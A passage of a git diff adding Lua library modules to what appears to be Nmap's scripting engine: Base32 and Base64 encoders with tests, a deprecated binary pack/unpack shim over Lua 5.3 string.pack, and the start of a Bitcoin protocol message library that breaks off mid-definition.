+ local e7 = t[((((d<<3)&0x18)|((e>>5)&0x07))&0x1f)+1]
+ local e8 = t[(e&0x1f)+1]
+ return e1..e2..e3..e4..e5..e6..e7..e8
+end
+
+---
+-- Encodes a string to Base32.
+-- @param p Data to be encoded.
+-- @param hexExtend pass true to use the hex extended char set
+-- @return Base32-encoded string.
+function enc (p, hexExtend)
+ local b32table = not hexExtend and b32standard or b32hexExtend
+
+ local out = {}
+ local i = 1
+ local m = #p % 5
+
+ while i+(5-1) <= #p do
+ local a, b, c, d, e = p:byte(i, i+(5-1))
+ out[#out+1] = etransform(b32table, a, b, c, d, e)
+ i = i + 5
+ end
+
+ if m == 4 then
+ local a, b, c, d = p:byte(i, i+(4-1))
+ out[#out+1] = etransform(b32table, a, b, c, d, 0):sub(1, 7).."="
+ elseif m == 3 then
+ local a, b, c = p:byte(i, i+(3-1))
+ out[#out+1] = etransform(b32table, a, b, c, 0, 0):sub(1, 5).."==="
+ elseif m == 2 then
+ local a, b = p:byte(i, i+(2-1))
+ out[#out+1] = etransform(b32table, a, b, 0, 0, 0):sub(1, 4).."===="
+ elseif m == 1 then
+ local a = p:byte(i, i+(1-1))
+ out[#out+1] = etransform(b32table, a, 0, 0, 0, 0):sub(1, 2).."======"
+ end
+
+ return concat(out)
+end
+
+
+local db32metatable = {
+ __index = function (t, k) error "invalid encoding: invalid character" end
+}
+local db32table_standard = setmetatable({}, db32metatable)
+do
+ local r = {["="] = 0}
+ for i, v in ipairs(b32standard) do
+ r[v] = i-1
+ end
+ for i = 0, 255 do
+ db32table_standard[i] = r[char(i)]
+ end
+end
+local db32table_hex = setmetatable({}, db32metatable)
+do
+ local r = {["="] = 0}
+ for i, v in ipairs(b32hexExtend) do
+ r[v] = i-1
+ end
+ for i = 0, 255 do
+ db32table_hex[i] = r[char(i)]
+ end
+end
+
+
+-- Decodes Base32-encoded data.
+-- @param b32 Base32 encoded data.
+-- @param hexExtend pass true to use the hex extended char set
+-- @return Decoded data.
+function dec (b32, hexExtend)
+ local db32table = not hexExtend and db32table_standard or db32table_hex
+
+ local out = {}
+ local i = 1
+ local m = #b32 % 8
+ local done = false
+
+ if m ~= 0 then
+ error "invalid encoding: input is not divisible by 8"
+ end
+
+ while i+(8-1) <= #b32 do
+ if done then
+ error "invalid encoding: trailing characters"
+ end
+
+ local a, b, c, d, e, f, g, h = b32:byte(i, i+(8-1))
+
+ local v = ((db32table[a]<<3)&0xf8) | ((db32table[b]>>2)&0x07)
+ local w = ((db32table[b]<<6)&0xc0) | ((db32table[c]<<1)&0x3e) | ((db32table[d]>>4)&0x01)
+ local x = ((db32table[d]<<4)&0xf0) | ((db32table[e]>>1)&0x0f)
+ local y = ((db32table[e]<<7)&0x80) | ((db32table[f]<<2)&0x7c) | ((db32table[g]>>3)&0x03)
+ local z = ((db32table[g]<<5)&0xe0) | ((db32table[h] )&0x1f)
+
+ if c == 0x3d then
+ assert(d == 0x3d and e == 0x3d and f == 0x3d and g == 0x3d and h == 0x3d, "invalid encoding: invalid character")
+ out[#out+1] = char(v)
+ done = true
+ elseif d == 0x3d then
+ error "invalid encoding: invalid character"
+ elseif e == 0x3d then
+ assert(f == 0x3d and g == 0x3d and h == 0x3d, "invalid encoding: invalid character")
+ out[#out+1] = char(v, w)
+ done = true
+ elseif f == 0x3d then
+ assert(g == 0x3d and h == 0x3d, "invalid encoding: invalid character")
+ out[#out+1] = char(v, w, x)
+ done = true
+ elseif g == 0x3d then
+ error "invalid encoding: invalid character"
+ elseif h == 0x3d then
+ out[#out+1] = char(v, w, x, y)
+ done = true
+ else
+ out[#out+1] = char(v, w, x, y, z)
+ end
+ i = i + 8
+ end
+
+ return concat(out)
+end
+
+if not unittest.testing() then
+ return _ENV
+end
+
+test_suite = unittest.TestSuite:new()
+
+local equal = unittest.equal
+local function test(a, b)
+ test_suite:add_test(equal(enc(a), b), "encoding")
+ test_suite:add_test(equal(dec(b), a), "decoding")
+end
+local function testh(a, b)
+ test_suite:add_test(equal(enc(a, true), b), "hex encoding")
+ test_suite:add_test(equal(dec(b, true), a), "hex decoding")
+end
+
+test("", "")
+test("f", "MY======")
+test("fo", "MZXQ====")
+test("foo", "MZXW6===")
+test("foob", "MZXW6YQ=")
+test("fooba", "MZXW6YTB")
+test("foobar", "MZXW6YTBOI======")
+testh("", "")
+testh("f", "CO======")
+testh("fo", "CPNG====")
+testh("foo", "CPNMU===")
+testh("foob", "CPNMUOG=")
+testh("foobar", "CPNMUOJ1E8======")
+
+-- extensive tests
+if false then
+ local path = tmpname()
+ local file = open(path, "w")
+ local t = {}
+ for a = 0, 255, random(1, 7) do
+ for b = 0, 255, random(2, 7) do
+ for c = 0, 255, random(2, 7) do
+ t[#t+1] = char(a, b, c, 0xA)
+ file:write(t[#t])
+ end
+ end
+ end
+ assert(file:close())
+ local input = concat(t)
+ local output = enc(input)
+ local good = assert(popen("base32 < "..path, "r")):read("a"):gsub("%s", "")
+ remove(path)
+ assert(output == good)
+ assert(dec(output) == input)
+end
+
+return _ENV
diff --git a/nselib/base64.lua b/nselib/base64.lua
new file mode 100644
index 0000000..478e29b
--- /dev/null
+++ b/nselib/base64.lua
@@ -0,0 +1,203 @@
+-- The MIT License (MIT)
+-- Copyright (c) 2016 Patrick Joseph Donnelly (batrick@batbytes.com)
+--
+-- Permission is hereby granted, free of charge, to any person obtaining a copy of
+-- this software and associated documentation files (the "Software"), to deal in
+-- the Software without restriction, including without limitation the rights to
+-- use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
+-- of the Software, and to permit persons to whom the Software is furnished to do
+-- so, subject to the following conditions:
+--
+-- The above copyright notice and this permission notice shall be included in all
+-- copies or substantial portions of the Software.
+--
+-- THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+-- IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+-- FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+-- AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+-- LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+-- OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+-- SOFTWARE.
+
+---
+-- Base64 encoding and decoding. Follows RFC 4648.
+--
+-- @author Patrick Donnelly <batrick@batbytes.com>
+-- @copyright The MIT License (MIT); Copyright (c) 2016 Patrick Joseph Donnelly (batrick@batbytes.com)
+
+local assert = assert
+local error = error
+local ipairs = ipairs
+local setmetatable = setmetatable
+
+local open = require "io".open
+local popen = require "io".popen
+
+local random = require "math".random
+
+local tmpname = require "os".tmpname
+local remove = require "os".remove
+
+
+local char = require "string".char
+
+local concat = require "table".concat
+
+local unittest = require "unittest"
+
+_ENV = require "stdnse".module("base64")
+
+local b64table = {
+ 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
+ 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
+ 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
+ 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
+ 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
+ 'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
+ 'w', 'x', 'y', 'z', '0', '1', '2', '3',
+ '4', '5', '6', '7', '8', '9', '+', '/'
+}
+
+---
+-- Encodes a string to Base64.
+-- @param p Data to be encoded.
+-- @return Base64-encoded string.
+function enc (p)
+ local out = {}
+ local i = 1
+ local m = #p % 3
+
+ while i+2 <= #p do
+ local a, b, c = p:byte(i, i+2)
+ local e1 = b64table[((a>>2)&0x3f)+1];
+ local e2 = b64table[((((a<<4)&0x30)|((b>>4)&0xf))&0x3f)+1];
+ local e3 = b64table[((((b<<2)&0x3c)|((c>>6)&0x3))&0x3f)+1];
+ local e4 = b64table[(c&0x3f)+1];
+ out[#out+1] = e1..e2..e3..e4
+ i = i + 3
+ end
+
+ if m == 2 then
+ local a, b = p:byte(i, i+1)
+ local c = 0
+ local e1 = b64table[((a>>2)&0x3f)+1];
+ local e2 = b64table[((((a<<4)&0x30)|((b>>4)&0xf))&0x3f)+1];
+ local e3 = b64table[((((b<<2)&0x3c)|((c>>6)&0x3))&0x3f)+1];
+ out[#out+1] = e1..e2..e3.."="
+ elseif m == 1 then
+ local a = p:byte(i)
+ local b = 0
+ local e1 = b64table[((a>>2)&0x3f)+1];
+ local e2 = b64table[((((a<<4)&0x30)|((b>>4)&0xf))&0x3f)+1];
+ out[#out+1] = e1..e2.."=="
+ end
+
+ return concat(out)
+end
+
+local db64table = setmetatable({}, {__index = function (t, k) error "invalid encoding: invalid character" end})
+do
+ local r = {["="] = 0}
+ for i, v in ipairs(b64table) do
+ r[v] = i-1
+ end
+ for i = 0, 255 do
+ db64table[i] = r[char(i)]
+ end
+end
+
+---
+-- Decodes Base64-encoded data.
+-- @param e Base64 encoded data.
+-- @return Decoded data.
+function dec (e)
+ local out = {}
+ local i = 1
+ local done = false
+
+ e = e:gsub("%s+", "")
+
+ local m = #e % 4
+ if m ~= 0 then
+ error "invalid encoding: input is not divisible by 4"
+ end
+
+ while i+3 <= #e do
+ if done then
+ error "invalid encoding: trailing characters"
+ end
+
+ local a, b, c, d = e:byte(i, i+3)
+
+ local x = ((db64table[a]<<2)&0xfc) | ((db64table[b]>>4)&0x03)
+ local y = ((db64table[b]<<4)&0xf0) | ((db64table[c]>>2)&0x0f)
+ local z = ((db64table[c]<<6)&0xc0) | ((db64table[d])&0x3f)
+
+ if c == 0x3d then
+ assert(d == 0x3d, "invalid encoding: invalid character")
+ out[#out+1] = char(x)
+ done = true
+ elseif d == 0x3d then
+ out[#out+1] = char(x, y)
+ done = true
+ else
+ out[#out+1] = char(x, y, z)
+ end
+ i = i + 4
+ end
+
+ return concat(out)
+end
+
+if not unittest.testing() then
+ return _ENV
+end
+
+test_suite = unittest.TestSuite:new()
+
+local equal = unittest.equal
+for i, test in ipairs({
+ {"", ""},
+ {"\x01", "AQ=="},
+ {"\x00", "AA=="},
+ {"\x00\x01", "AAE="},
+ {"\x00\x01\x02", "AAEC"},
+ {"\x00\x01\x02\x03", "AAECAw=="},
+ {"\x00\x01\x02\x03\x04", "AAECAwQ="},
+ {"\x00\x01\x02\x03\x04\x05", "AAECAwQF"},
+ {"\x00\x01\x02\x03\x04\x05\x06", "AAECAwQFBg=="},
+ {"\x00\x01\x02\x03\x04\x05\x06\x07", "AAECAwQFBgc="},
+ }) do
+ test_suite:add_test(equal(enc(test[1]), test[2]), ("encoding string %d"):format(i))
+ test_suite:add_test(equal(dec(test[2]), test[1]), ("decoding string %d"):format(i))
+end
+for i = 1, 255 do
+ test_suite:add_test(equal(dec(enc(char(i))), char(i)), ("en/decoding char %d"):format(i))
+end
+
+-- whitespace stripping
+test_suite:add_test(equal(dec(" AAEC A\r\nw=="), "\x00\x01\x02\x03"), "whitespace stripping")
+
+-- extensive tests
+if false then
+ local path = tmpname()
+ local file = open(path, "w")
+ local t = {}
+ for a = 0, 255, random(1, 7) do
+ for b = 0, 255, random(2, 7) do
+ for c = 0, 255, random(2, 7) do
+ t[#t+1] = char(a, b, c, 0xA)
+ file:write(t[#t])
+ end
+ end
+ end
+ assert(file:close())
+ local input = concat(t)
+ local output = enc(input)
+ local good = assert(popen("base64 < "..path, "r")):read("a"):gsub("%s", "")
+ remove(path)
+ assert(output == good)
+ assert(dec(output) == input)
+end
+
+return _ENV
diff --git a/nselib/bin.lua b/nselib/bin.lua
new file mode 100644
index 0000000..ac82906
--- /dev/null
+++ b/nselib/bin.lua
@@ -0,0 +1,367 @@
+---
+-- Pack and unpack binary data.
+--
+-- THIS LIBRARY IS DEPRECATED! Please use builtin Lua 5.3 string.pack facilities.
+--
+-- A problem script authors often face is the necessity of encoding values
+-- into binary data. For example after analyzing a protocol the starting
+-- point to write a script could be a hex dump, which serves as a preamble
+-- to every sent packet. Prior to Lua 5.3, NSE included a bin library, based on lpack
+-- (http://www.tecgraf.puc-rio.br/~lhf/ftp/lua/) by Luiz Henrique de Figueiredo.
+-- This library is now reimplemented using Lua 5.3 string.pack facilities. New scripts and libraries
+-- should adopt Lua 5.3's native string.pack.
+--
+-- The Binlib functions take a format string to encode and decode binary
+-- data. Packing and unpacking are controlled by the following operator
+-- characters:
+-- * <code>H</code> hex string
+-- * <code>x</code> null byte
+-- * <code>z</code> zero-terminated string
+-- * <code>p</code> string preceded by 1-byte integer length
+-- * <code>P</code> string preceded by 2-byte integer length
+-- * <code>a</code> string preceded by 4-byte integer length
+-- * <code>A</code> string
+-- * <code>f</code> float
+-- * <code>d</code> double
+-- * <code>n</code> Lua number
+-- * <code>c</code> char (1-byte integer)
+-- * <code>C</code> byte = unsigned char (1-byte unsigned integer)
+-- * <code>s</code> short (2-byte integer)
+-- * <code>S</code> unsigned short (2-byte unsigned integer)
+-- * <code>i</code> int (4-byte integer)
+-- * <code>I</code> unsigned int (4-byte unsigned integer)
+-- * <code>l</code> long (8-byte integer)
+-- * <code>L</code> unsigned long (8-byte unsigned integer)
+-- * <code><</code> little endian modifier
+-- * <code>></code> big endian modifier
+-- * <code>=</code> native endian modifier
+--
+-- Note that the endian operators work as modifiers to all the
+-- characters following them in the format string.
+--
+-- @class module
+-- @name bin
+
+local debug4 = require "stdnse".debug4
+local debug5 = require "stdnse".debug5
+local verbose = require "stdnse".verbose
+verbose(0, "DEPRECATION WARNING: bin.lua is deprecated. Please use Lua 5.3 string.pack")
+
+local assert = assert
+local error = error
+local ipairs = ipairs
+local pcall = pcall
+local tonumber = tonumber
+local tostring = tostring
+local type = type
+
+local tointeger = require "math".tointeger
+
+local char = require "string".char
+
+local insert = require "table".insert
+local pack = require "table".pack
+local unpack = require "table".unpack
+
+local tobinary = require "stdnse".tobinary
+
+local _ENV = {}
+
+local function clamp (args, i, j, mask)
+ for i = i, j do
+ local o = assert(tointeger(args[i]))
+ local n = o & mask
+ if o ~= n then
+ debug4("bin.pack: clamping arg[%d]: 0x%x -> 0x%x", i, o, n)
+ end
+ args[i] = n
+ end
+end
+
+local function _fromhex (s)
+ return char(tonumber(s, 16))
+end
+
+--- Returns a binary packed string.
+--
+-- The format string describes how the parameters (<code>p1</code>,
+-- <code>...</code>) will be interpreted. Numerical values following operators
+-- stand for operator repetitions and need an according amount of parameters.
+-- Operators expect appropriate parameter types.
+--
+-- Note: on Windows packing of 64-bit values > 2^63 currently
+-- results in packing exactly 2^63.
+-- @param format Format string, used to pack following arguments.
+-- @param ... The values to pack.
+-- @return String containing packed data.
+function _ENV.pack (format, ...)
+ debug5("bin.pack: format = '%s'", format);
+ format = "!1="..format -- 1 byte alignment
+ local endianness = "="
+ local i, args = 1, pack(...)
+ local function translate (o, n)
+ if o == "=" or o == "<" or o == ">" then
+ endianness = o
+ return o
+ end
+ n = #n == 0 and 1 or tointeger(n)
+ if o == "H" then
+ -- hex string
+ -- N.B. n is the repetition
+ assert(n > 0, "n cannot be 0") -- original bin library allowed this, it doesn't make sense
+ local new = "=" -- !! in original bin library, hex strings are always native
+ for j = i, i+n-1 do
+ args[j] = tostring(args[j]):gsub("%s*(%S%S?)%s*", _fromhex)
+ new = new .. ("c%d"):format(#args[j])
+ end
+ new = new .. endianness -- restore old endianness
+ i = i + n
+ return new
+ elseif o == "B" then
+ -- bit string
+ -- N.B. n is the repetition
+ error "pack option \"B\" is no longer supported"
+ elseif o == "p" then
+ i = i + n
+ return ("s1"):rep(n)
+ elseif o == "P" then
+ i = i + n
+ return ("s2"):rep(n)
+ elseif o == "a" then
+ i = i + n
+ return ("s4"):rep(n)
+ elseif o == "A" then
+ -- an unterminated string
+ -- N.B. n is the repetition
+ assert(n > 0, "n cannot be 0") -- original bin library allowed this, it doesn't make sense
+ local new = ""
+ for j = i, i+n-1 do
+ new = new .. ("c%d"):format(#args[j])
+ end
+ i = i + n
+ return new
+ elseif o == "c" then
+ clamp(args, i, i+n-1, 0xff)
+ i = i + n
+ return ("b"):rep(n)
+ elseif o == "C" then
+ clamp(args, i, i+n-1, 0xff)
+ i = i + n
+ return ("B"):rep(n)
+ elseif o == "s" then
+ clamp(args, i, i+n-1, 0xffff)
+ i = i + n
+ return ("i2"):rep(n)
+ elseif o == "S" then
+ clamp(args, i, i+n-1, 0xffff)
+ i = i + n
+ return ("I2"):rep(n)
+ elseif o == "i" then
+ clamp(args, i, i+n-1, 0xffffffff)
+ i = i + n
+ return ("i4"):rep(n)
+ elseif o == "I" then
+ clamp(args, i, i+n-1, 0xffffffff)
+ i = i + n
+ return ("I4"):rep(n)
+ elseif o == "l" then
+ clamp(args, i, i+n-1, 0xffffffffffffffff)
+ i = i + n
+ return ("i8"):rep(n)
+ elseif o == "L" then
+ clamp(args, i, i+n-1, 0xffffffffffffffff)
+ i = i + n
+ return ("I8"):rep(n)
+ else
+ -- 1-to-1 with Lua 5.3 string.pack
+ if o ~= "x" then
+ i = i + n
+ end
+ return o:rep(n)
+ end
+ end
+ format = format:gsub("([%a=<>])(%d*)", translate)
+ debug5("bin.pack: string.pack(format = '%s', ...)", format)
+ return format.pack(format, unpack(args)) -- don't use method syntax for better error message
+end
+
+do
+ -- !! endianness is always big endian for H !!
+ assert(_ENV.pack(">H", "415D615A") == "\x41\x5D\x61\x5A")
+ assert(_ENV.pack("<H", "415D615A") == "\x41\x5D\x61\x5A")
+ assert(_ENV.pack("H", "41 5D 61\n5A") == "\x41\x5D\x61\x5A")
+ assert(_ENV.pack("H2", "415D615A", "A5") == "\x41\x5D\x61\x5A\xA5")
+
+ assert(_ENV.pack("A", "415D615A") == "415D615A")
+ --assert(_ENV.pack("A0", "415D615A") == "")
+ assert(_ENV.pack("A1", "415D615A", "foo", "bar") == "415D615A")
+ assert(_ENV.pack("A2", "415D615A", "foo", "bar") == "415D615Afoo")
+
+ assert(_ENV.pack(">xSSISA", 0x0, 0x0, 0x0, 0x0, "1"))
+ assert(_ENV.pack("x2") == "\x00\x00")
+
+ assert(_ENV.pack(">IzzzzH", 1, "user", "joe", "database", "db", 0) == "\0\0\0\1user\0joe\0database\0db\0\0")
+
+ assert(_ENV.pack("cccc", 1, 2, 3, 4) == "\x01\x02\x03\x04")
+ assert(_ENV.pack("c2c2", 1, 2, 3, 4) == "\x01\x02\x03\x04")
+ assert(_ENV.pack("c3c1", 1, 2, 3, 4) == "\x01\x02\x03\x04")
+ assert(_ENV.pack("c1c3", 1, 2, 3, 4) == "\x01\x02\x03\x04")
+ assert(_ENV.pack("xc3", 2, 3, 4) == "\x00\x02\x03\x04")
+ assert(_ENV.pack("c2x2", 2, 3, 4) == "\x02\x03\x00\x00")
+
+ assert(_ENV.pack("<C2SIL", 0x123, 0xfff1, 0x1ffff, 0x112345678, 0x1234567812345678) == "\x23\xf1\xff\xff\x78\x56\x34\x12\x78\x56\x34\x12\x78\x56\x34\x12")
+end
+
+local function _fmt_hex (c)
+ return ("%02X"):format(c:byte())
+end
+
+local function _fmt_bin (c)
+ local n = tobinary(c:byte())
+ return ("0"):rep(8-#n)..n
+end
+
+local function unpacker (fixer, status, ...)
+ if not status then return 1 end
+ -- Lua's unpack gives the stop index last:
+ local list = pack(...)
+ for i, v in ipairs(fixer) do
+ if v.what == "H" then
+ list[v.which] = list[v.which]:gsub(".", _fmt_hex)
+ elseif v.what == "B" then
+ list[v.which] = list[v.which]:gsub(".", _fmt_bin)
+ else
+ assert(false)
+ end
+ end
+ return list[list.n], unpack(list, 1, list.n-1)
+end
+
+--- Returns values read from the binary packed data string.
+--
+-- The first return value of this function is the position at which unpacking
+-- stopped. This can be used as the <code>init</code> value for subsequent
+-- calls. The following return values are the values according to the format
+-- string. Numerical values in the format string are interpreted as repetitions
+-- like in <code>pack</code>, except if used with <code>A</code>,
+-- <code>B</code>, or <code>H</code>, in which cases the number tells
+-- <code>unpack</code> how many bytes to read. <code>unpack</code> stops if
+-- either the format string or the binary data string are exhausted.
+-- @param format Format string, used to unpack values out of data string.
+-- @param data String containing packed data.
+-- @param init Optional starting position within the string.
+-- @return Position in the data string where unpacking stopped.
+-- @return All unpacked values.
+function _ENV.unpack (format, data, init)
+ debug5("bin.unpack: format = '%s'", format);
+ format = "!1="..format -- 1 byte alignment
+ if type(init) == "number" and init <= 0 then init = 1 end
+ local endianness = "="
+ local fixer = {}
+ local i = 0
+ local function translate (o, n)
+ n = #n == 0 and 1 or tointeger(n)
+
+ if o == "=" then
+ endianness = "="
+ return
+ elseif o == "<" then
+ endianness = "<"
+ return
+ elseif o == ">" then
+ endianness = ">"
+ return
+ end
+
+ i = i + 1
+ if o == "H" then
+ -- hex string
+ -- N.B. n is the number of bytes to read
+ insert(fixer, {what = "H", which = i})
+ return ("=c%d%s"):format(n, endianness) -- !! in original bin library, hex strings are always native endian...
+ elseif o == "B" then
+ -- bit string
+ -- N.B. n is the number of bytes to read
+ insert(fixer, {what = "B", which = i})
+ return ("=c%d%s"):format(n, endianness) -- !! in original bin library, hex strings are always native endian...
+ elseif o == "p" then
+ return ("s1"):rep(n)
+ elseif o == "P" then
+ return ("s2"):rep(n)
+ elseif o == "a" then
+ return ("s4"):rep(n)
+ elseif o == "A" then
+ -- an unterminated string
+ -- N.B. n is the number of bytes to read
+ return ("c%d"):format(n)
+ elseif o == "c" then
+ return ("b"):rep(n)
+ elseif o == "C" then
+ return ("B"):rep(n)
+ elseif o == "s" then
+ return ("i2"):rep(n)
+ elseif o == "S" then
+ return ("I2"):rep(n)
+ elseif o == "i" then
+ return ("i4"):rep(n)
+ elseif o == "I" then
+ return ("I4"):rep(n)
+ elseif o == "l" then
+ return ("i8"):rep(n)
+ elseif o == "L" then
+ return ("I8"):rep(n)
+ else
+ return o:rep(n)
+ end
+ end
+ format = format:gsub("([%a=<>])(%d*)", translate)
+ debug5("bin.unpack: string.unpack(format = '%s', ...)", format)
+ return unpacker(fixer, pcall(format.unpack, format, data, init))
+end
+
+do
+ local i, v
+
+ -- !! endianness is always native endian for H !!
+ i, v = _ENV.unpack("H", "\x00\xff\x0f\xf0")
+ assert(i == 2 and v == "00")
+ i, v = _ENV.unpack("H0", "\x00\xff\x0f\xf0")
+ assert(i == 1 and v == "")
+ i, v = _ENV.unpack("H1", "\x00\xff\x0f\xf0")
+ assert(i == 2 and v == "00")
+ i, v = _ENV.unpack("H2", "\x00\xff\x0f\xf0")
+ assert(i == 3 and v == "00FF")
+ i, v = _ENV.unpack("<H4", "\x00\xff\x0f\xf0")
+ assert(i == 5 and v == "00FF0FF0")
+ i, v = _ENV.unpack(">H4", "\x00\xff\x0f\xf0")
+ assert(i == 5 and v == "00FF0FF0")
+
+ -- !! endianness is always native endian for B !!
+ i, v = _ENV.unpack("B", "\x00\xff\x0f\xf0")
+ assert(i == 2 and v == "00000000")
+ i, v = _ENV.unpack("B0", "\x00\xff\x0f\xf0")
+ assert(i == 1 and v == "")
+ i, v = _ENV.unpack("B1", "\x00\xff\x0f\xf0")
+ assert(i == 2 and v == "00000000")
+ i, v = _ENV.unpack("B2", "\x00\xff\x0f\xf0")
+ assert(i == 3 and v == "0000000011111111")
+ i, v = _ENV.unpack("<B4", "\x00\xff\x0f\xf0")
+ assert(i == 5 and v == "00000000111111110000111111110000")
+ i, v = _ENV.unpack(">B4", "\x00\xff\x0f\xf0")
+ assert(i == 5 and v == "00000000111111110000111111110000")
+
+ i, v = _ENV.unpack("A", "foo");
+ assert(i == 2 and v == "f")
+ i, v = _ENV.unpack("A0", "foo");
+ assert(i == 1 and v == "")
+ i, v = _ENV.unpack("A1", "foo");
+ assert(i == 2 and v == "f")
+ i, v = _ENV.unpack("A2", "foo");
+ assert(i == 3 and v == "fo")
+ i, v = _ENV.unpack("A3", "foo");
+ assert(i == 4 and v == "foo")
+ i, v = _ENV.unpack("A4", "foo");
+ assert(i == 1 and v == nil)
+end
+
+return _ENV
diff --git a/nselib/bitcoin.lua b/nselib/bitcoin.lua
new file mode 100644
index 0000000..e22589f
--- /dev/null
+++ b/nselib/bitcoin.lua
@@ -0,0 +1,628 @@
+---
+-- This library implements a minimal subset of the BitCoin protocol
+-- It currently supports the version handshake and processing Addr responses.
+--
+-- The library contains the following classes:
+--
+-- * NetworkAddress - Contains functionality for encoding and decoding the
+-- BitCoin network address structure.
+--
+-- * Request - Classs containing BitCoin client requests
+-- o Version - The client version exchange packet
+--
+-- * Response - Class containing BitCoin server responses
+-- o Version - The server version exchange packet
+-- o VerAck - The server version ACK packet
+-- o Addr - The server address packet
+-- o Inv - The server inventory packet
+--
+-- * Helper - The primary interface to scripts
+--
+--@author Patrik Karlsson <patrik@cqure.net>
+--@author Andrew Orr <andrew@andreworr.ca>
+--@copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+
+--
+-- Version 0.2
+--
+-- Created 11/09/2011 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+-- Revised 17/02/2012 - v0.2 - fixed count parsing
+-- - changed version/verack handling to support
+-- February 20th 2012 bitcoin protocol switchover
+
+local ipOps = require "ipOps"
+local match = require "match"
+local nmap = require "nmap"
+local os = require "os"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local openssl = stdnse.silent_require('openssl')
+_ENV = stdnse.module("bitcoin", stdnse.seeall)
+
+-- A class that supports the BitCoin network address structure
+NetworkAddress = {
+
+ NODE_NETWORK = 1,
+
+ -- Creates a new instance of the NetworkAddress class
+ -- @param host table as received by the action method
+ -- @param port table as received by the action method
+ -- @return o instance of NetworkAddress
+ new = function(self, host, port)
+ local o = {
+ host = "table" == type(host) and host.ip or host,
+ port = "table" == type(port) and port.number or port,
+ service = NetworkAddress.NODE_NETWORK,
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Creates a new instance of NetworkAddress based on the data string
+ -- @param data string of bytes
+ -- @return na instance of NetworkAddress
+ fromString = function(data)
+ assert(26 == #data, "Expected 26 bytes of data")
+
+ local na = NetworkAddress:new()
+ local ipv6_prefix, ipv4_addr
+ na.service, ipv6_prefix, ipv4_addr, na.port = string.unpack("<I8 c12 c4 >I2", data)
+ if ipv6_prefix == "\0\0\0\0\0\0\0\0\0\0\xff\xff" then
+ -- IPv4
+ na.host = ipOps.str_to_ip(ipv4_addr)
+ else
+ na.host = ipOps.str_to_ip(ipv6_prefix .. ipv4_addr)
+ end
+ return na
+ end,
+
+ -- Converts the NetworkAddress instance to string
+ -- @return data string containing the NetworkAddress instance
+ __tostring = function(self)
+ local ipv6_addr = ipOps.ip_to_str(self.host)
+ return string.pack("<I8 c16 >I2", self.service, ipv6_addr, self.port )
+ end
+}
+
+-- The request class container
+Request = {
+
+ -- The version request
+ Version = {
+
+ -- Creates a new instance of the Version request
+ -- @param host table as received by the action method
+ -- @param port table as received by the action method
+ -- @param lhost string containing the source IP
+ -- @param lport number containing the source port
+ -- @return o instance of Version
+ new = function(self, host, port, lhost, lport)
+ local o = {
+ host = host,
+ port = port,
+ lhost= lhost,
+ lport= lport,
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Converts the Version request to a string
+ -- @return data as string
+ __tostring = function(self)
+ local magic = 0xD9B4BEF9
+ local cmd = "version"
+ local len = 85
+ -- ver: 0.4.0
+ local ver = 0x9c40
+
+ cmd = cmd .. ('\0'):rep(12 - #cmd)
+
+ -- NODE_NETWORK = 1
+ local services = 1
+ local timestamp = os.time()
+ local ra = NetworkAddress:new(self.host, self.port)
+ local sa = NetworkAddress:new(self.lhost, self.lport)
+ local nodeid = openssl.rand_bytes(8)
+ local useragent = "\0"
+ local lastblock = "\0\0\0\0"
+
+ -- Construct payload in order to calculate checksum for the header
+ local payload = (string.pack("<I4 I8 I8", ver, services, timestamp)
+ .. tostring(ra) .. tostring(sa) .. nodeid .. useragent .. lastblock)
+
+ -- Checksum is first 4 bytes of sha256(sha256(payload))
+ local checksum = openssl.digest("sha256", payload)
+ checksum = openssl.digest("sha256", checksum)
+
+ -- Construct the header without checksum
+ local header = string.pack("<I4 c12 I4", magic, cmd, len)
+
+ -- After 2012-02-20, version messages require checksums
+ header = header .. checksum:sub(1,4)
+
+ return header .. payload
+ end,
+ },
+
+ -- The GetAddr request
+ GetAddr = {
+
+ -- Creates a new instance of the Version request
+ -- @param host table as received by the action method
+ -- @param port table as received by the action method
+ -- @param lhost string containing the source IP
+ -- @param lport number containing the source port
+ -- @return o instance of Version
+ new = function(self, host, port, lhost, lport)
+ local o = {
+ host = host,
+ port = port,
+ lhost= lhost,
+ lport= lport,
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Converts the Version request to a string
+ -- @return data as string
+ __tostring = function(self)
+ local magic = 0xD9B4BEF9
+ local cmd = "getaddr"
+ local len = 0
+ local chksum = 0xe2e0f65d
+ cmd = cmd .. ('\0'):rep(12 - #cmd)
+
+ return string.pack("<I4 c12 I4 I4", magic, cmd, len, chksum)
+ end
+ },
+
+ VerAck = {
+
+ new = function(self)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ __tostring = function(self)
+ local cmd = "verack"
+ cmd = cmd .. ('\0'):rep(12 - #cmd)
+ return string.pack("<I4 c12 I4 I4", 0xD9B4BEF9, cmd, 0, 0xe2e0f65d)
+ end,
+
+ },
+
+ -- The pong message is sent in response to a ping message.
+ Pong = {
+ new = function(self)
+ local o = {}
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ __tostring = function(self)
+ local magic = 0xD9B4BEF9
+ local cmd = "pong"
+ local len = 0
+ local chksum = 0xe2e0f65d
+ cmd = cmd .. ('\0'):rep(12 - #cmd)
+
